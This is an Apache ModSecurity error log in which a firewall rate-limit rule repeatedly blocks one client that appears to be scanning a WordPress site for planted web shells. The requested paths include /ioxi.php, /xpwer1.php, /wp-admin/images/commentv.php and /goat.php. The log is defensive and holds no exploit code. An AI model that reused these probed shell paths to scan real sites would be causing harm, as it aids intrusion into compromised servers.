[Tue Jan 27 02:58:09.390377 2026] [:error] [pid 23303:tid 23322] [client 40.115.140.37:3828] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aXe5QZ9-XqTbIalaUZyfyAAAAZE"]
[Tue Jan 27 02:58:10.262297 2026] [:error] [pid 44849:tid 44852] [client 40.115.140.37:14281] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aXe5QhvM0vcShMgZVmQJ0AAAAUE"]
[Tue Jan 27 02:58:10.719246 2026] [:error] [pid 23303:tid 23329] [client 40.115.140.37:11411] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aXe5Qp9-XqTbIalaUZyfzgAAAZg"]
[Tue Jan 27 02:58:11.785250 2026] [:error] [pid 23303:tid 23308] [client 40.115.140.37:14288] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi.php"] [unique_id "aXe5Q59-XqTbIalaUZyf0wAAAYM"]
[Tue Jan 27 02:58:12.696835 2026] [:error] [pid 57173:tid 57244] [client 40.115.140.37:10174] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aXe5RE4W-bz8q8pfNmgwkgAAAAw"]
[Tue Jan 27 02:58:13.180914 2026] [:error] [pid 44586:tid 44767] [client 40.115.140.37:6213] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aXe5RaZDnq-dPBqM5Li4-wAAAIM"]
[Tue Jan 27 02:58:13.871289 2026] [:error] [pid 18632:tid 18650] [client 40.115.140.37:4036] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aXe5RaU_e_bi-Bnkkm4cOAAAAE8"]
[Tue Jan 27 02:58:14.198132 2026] [:error] [pid 44587:tid 44803] [client 40.115.140.37:12033] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "aXe5RosXadca93KAT8QA6QAAAMs"]
[Tue Jan 27 02:58:14.560455 2026] [:error] [pid 44586:tid 44766] [client 40.115.140.37:6887] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXe5RqZDnq-dPBqM5Li4_QAAAII"]
[Tue Jan 27 02:58:15.795281 2026] [:error] [pid 57173:tid 57237] [client 40.115.140.37:11847] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXe5R04W-bz8q8pfNmgwmAAAAAU"]
[Tue Jan 27 02:58:16.223064 2026] [:error] [pid 23303:tid 23307] [client 40.115.140.37:6229] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXe5SJ9-XqTbIalaUZyf2gAAAYI"]
[Tue Jan 27 02:58:16.660486 2026] [:error] [pid 57173:tid 57252] [client 40.115.140.37:12066] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aXe5SE4W-bz8q8pfNmgwmQAAABM"]
[Tue Jan 27 02:58:17.108201 2026] [:error] [pid 18632:tid 18644] [client 40.115.140.37:6238] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aXe5SaU_e_bi-Bnkkm4cOgAAAEk"]
[Tue Jan 27 02:58:17.433053 2026] [:error] [pid 44849:tid 44856] [client 40.115.140.37:4529] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aXe5SRvM0vcShMgZVmQJ0gAAAUU"]
[Tue Jan 27 02:58:17.921644 2026] [:error] [pid 18632:tid 18657] [client 40.115.140.37:12085] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aXe5SaU_e_bi-Bnkkm4cOwAAAFY"]
[Tue Jan 27 02:58:18.392136 2026] [:error] [pid 57173:tid 57236] [client 40.115.140.37:2214] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aXe5Sk4W-bz8q8pfNmgwmgAAAAQ"]
[Tue Jan 27 02:58:19.111278 2026] [:error] [pid 57173:tid 57243] [client 40.115.140.37:11241] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5S04W-bz8q8pfNmgwmwAAAAs"]
[Tue Jan 27 02:58:19.730222 2026] [:error] [pid 44587:tid 44808] [client 40.115.140.37:2207] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5S4sXadca93KAT8QA7AAAANA"]
[Tue Jan 27 02:58:20.632871 2026] [:error] [pid 18632:tid 18643] [client 40.115.140.37:5170] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5TKU_e_bi-Bnkkm4cQgAAAEg"]
[Tue Jan 27 02:58:21.343418 2026] [:error] [pid 44849:tid 44865] [client 40.115.140.37:12079] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aXe5TRvM0vcShMgZVmQJ2QAAAU4"]
[Tue Jan 27 02:58:21.712541 2026] [:error] [pid 44849:tid 44862] [client 40.115.140.37:13903] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aXe5TRvM0vcShMgZVmQJ2gAAAUs"]
[Tue Jan 27 02:58:22.170827 2026] [:error] [pid 44586:tid 44783] [client 40.115.140.37:14237] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aXe5TqZDnq-dPBqM5Li5AwAAAJM"]
[Tue Jan 27 02:59:13.346056 2026] [:error] [pid 57173:tid 57233] [client 40.115.140.37:12288] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXe5gU4W-bz8q8pfNmgwyAAAAAE"]
[Tue Jan 27 02:59:13.793633 2026] [:error] [pid 23303:tid 23309] [client 40.115.140.37:3040] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXe5gZ9-XqTbIalaUZygCwAAAYQ"]
[Tue Jan 27 02:59:14.217016 2026] [:error] [pid 44588:tid 44824] [client 40.115.140.37:13948] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXe5gjHRQD80UhqYrcAomQAAAQQ"]
[Tue Jan 27 02:59:16.089982 2026] [:error] [pid 57173:tid 57241] [client 40.115.140.37:4332] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aXe5hE4W-bz8q8pfNmgwygAAAAk"]
[Tue Jan 27 02:59:16.572862 2026] [:error] [pid 23303:tid 23312] [client 40.115.140.37:14210] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aXe5hJ9-XqTbIalaUZygEAAAAYc"]
[Tue Jan 27 02:59:17.153014 2026] [:error] [pid 57173:tid 57252] [client 40.115.140.37:11417] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aXe5hU4W-bz8q8pfNmgwywAAABM"]
[Tue Jan 27 02:59:17.793870 2026] [:error] [pid 44849:tid 44868] [client 40.115.140.37:12080] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aXe5hRvM0vcShMgZVmQJ-gAAAVE"]
[Tue Jan 27 02:59:18.325653 2026] [:error] [pid 44588:tid 44836] [client 40.115.140.37:3032] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aXe5hjHRQD80UhqYrcAongAAARA"]
[Tue Jan 27 02:59:18.630933 2026] [:error] [pid 18632:tid 18644] [client 40.115.140.37:11899] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aXe5hqU_e_bi-Bnkkm4caAAAAEk"]
[Tue Jan 27 02:59:19.607287 2026] [:error] [pid 18632:tid 18657] [client 40.115.140.37:12077] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aXe5h6U_e_bi-Bnkkm4cagAAAFY"]
[Tue Jan 27 02:59:21.024803 2026] [:error] [pid 44588:tid 44821] [client 40.115.140.37:4489] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aXe5iTHRQD80UhqYrcAooAAAAQI"]
[Tue Jan 27 02:59:21.932463 2026] [:error] [pid 44588:tid 44831] [client 40.115.140.37:4521] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aXe5iTHRQD80UhqYrcAoogAAAQs"]
[Tue Jan 27 02:59:23.171543 2026] [:error] [pid 44849:tid 44871] [client 40.115.140.37:6909] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aXe5ixvM0vcShMgZVmQJ_QAAAVQ"]
[Tue Jan 27 02:59:23.657713 2026] [:error] [pid 44849:tid 44867] [client 40.115.140.37:6687] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aXe5ixvM0vcShMgZVmQJ_gAAAVA"]
[Tue Jan 27 02:59:24.729274 2026] [:error] [pid 44586:tid 44785] [client 40.115.140.37:13907] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aXe5jKZDnq-dPBqM5Li5SQAAAJU"]
[Tue Jan 27 02:59:25.704685 2026] [:error] [pid 44849:tid 44861] [client 40.115.140.37:4528] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aXe5jRvM0vcShMgZVmQKAAAAAUo"]
[Tue Jan 27 02:59:26.312927 2026] [:error] [pid 44587:tid 44810] [client 40.115.140.37:2978] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aXe5josXadca93KAT8QBIAAAANI"]
[Tue Jan 27 02:59:26.927336 2026] [:error] [pid 44849:tid 44872] [client 40.115.140.37:14423] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aXe5jhvM0vcShMgZVmQKAwAAAVU"]
[Tue Jan 27 02:59:28.251811 2026] [:error] [pid 44587:tid 44801] [client 40.115.140.37:11398] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aXe5kIsXadca93KAT8QBJAAAAMk"]
[Tue Jan 27 02:59:28.911458 2026] [:error] [pid 44849:tid 44873] [client 40.115.140.37:14206] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aXe5kBvM0vcShMgZVmQKBQAAAVY"]
[Tue Jan 27 02:59:29.615109 2026] [:error] [pid 23303:tid 23315] [client 40.115.140.37:12321] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aXe5kZ9-XqTbIalaUZygJwAAAYo"]
[Tue Jan 27 02:59:30.297266 2026] [:error] [pid 23303:tid 23321] [client 40.115.140.37:14178] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aXe5kp9-XqTbIalaUZygKAAAAZA"]
[Tue Jan 27 02:59:31.185880 2026] [:error] [pid 23303:tid 23322] [client 40.115.140.37:11245] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aXe5k59-XqTbIalaUZygKwAAAZE"]
[Tue Jan 27 02:59:31.858095 2026] [:error] [pid 44587:tid 44810] [client 40.115.140.37:2460] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aXe5k4sXadca93KAT8QBLAAAANI"]
[Tue Jan 27 02:59:32.512981 2026] [:error] [pid 23303:tid 23318] [client 40.115.140.37:2181] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aXe5lJ9-XqTbIalaUZygLgAAAY0"]
[Tue Jan 27 02:59:33.069838 2026] [:error] [pid 18632:tid 18655] [client 40.115.140.37:6531] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aXe5laU_e_bi-Bnkkm4cfgAAAFQ"]
[Tue Jan 27 02:59:34.217586 2026] [:error] [pid 44586:tid 44788] [client 40.115.140.37:6902] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aXe5lqZDnq-dPBqM5Li5TQAAAJg"]
[Tue Jan 27 02:59:34.969497 2026] [:error] [pid 44588:tid 44830] [client 40.115.140.37:5133] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aXe5ljHRQD80UhqYrcAorwAAAQo"]
[Tue Jan 27 02:59:35.579415 2026] [:error] [pid 44588:tid 44842] [client 40.115.140.37:7212] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aXe5lzHRQD80UhqYrcAosQAAARY"]
[Tue Jan 27 02:59:36.336934 2026] [:error] [pid 57173:tid 57235] [client 40.115.140.37:6253] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aXe5mE4W-bz8q8pfNmgw0gAAAAM"]
[Tue Jan 27 02:59:37.474674 2026] [:error] [pid 57173:tid 57240] [client 40.115.140.37:6548] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aXe5mU4W-bz8q8pfNmgw1QAAAAg"]
[Tue Jan 27 02:59:38.257005 2026] [:error] [pid 18632:tid 18637] [client 40.115.140.37:2220] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aXe5mqU_e_bi-Bnkkm4cggAAAEI"]
[Tue Jan 27 02:59:39.402993 2026] [:error] [pid 44586:tid 44782] [client 40.115.140.37:8909] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/"] [unique_id "aXe5m6ZDnq-dPBqM5Li5VAAAAJI"]
[Tue Jan 27 02:59:39.957950 2026] [:error] [pid 57173:tid 57244] [client 40.115.140.37:8916] [client 40.115.140.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/"] [unique_id "aXe5m04W-bz8q8pfNmgw2QAAAAw"]
